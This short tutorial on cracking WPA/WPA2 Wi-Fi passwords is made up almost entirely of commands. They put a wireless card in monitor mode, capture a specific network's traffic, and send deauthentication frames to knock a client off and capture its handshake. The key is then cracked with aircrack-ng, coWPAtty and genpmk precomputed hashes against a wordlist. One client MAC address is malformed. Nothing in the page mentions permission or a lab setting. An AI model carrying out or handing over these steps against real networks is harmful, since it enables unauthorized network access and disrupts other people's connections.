coWPAtty & Genpmk (Pre computed hashes): Cracking WiFi WPA WPA2

coWPAtty

coWPAtty is designed to audit the security of pre-shared keys selected in WiFi Protected Access (WPA) networks.

Tutorial

Command

airmon-ng start wlan0

airodump-ng mon0

airodump-ng --channel 6 --write output --bssid 00:24:01:24:0A:F6 mon0
aireplay-ng --deauth 6 -a 00:24:01:24:0A:F6 -c 00:FA:BC:8F:1A mon0

airolib-ng crackwpa --import passwd /root/pass.txt
airolib-ng crackwpa --import essid essid
airolib-ng crackwpa --stats
airolib-ng crackwpa --clean all
airolib-ng crackwpa --batch
airolib-ng crackwpa --verify all
aircrack -r crackwpa output-01.cap

cowpatty -s Denial_of_Service -r /root/output-01.cap -f /root/pass.txt
genpmk -s Denial_of_Service -d /root/output-hash -f /root/pass.txt
cowpatty -s Denial_of_Service -r /root/output-01.cap -d /root/output-hash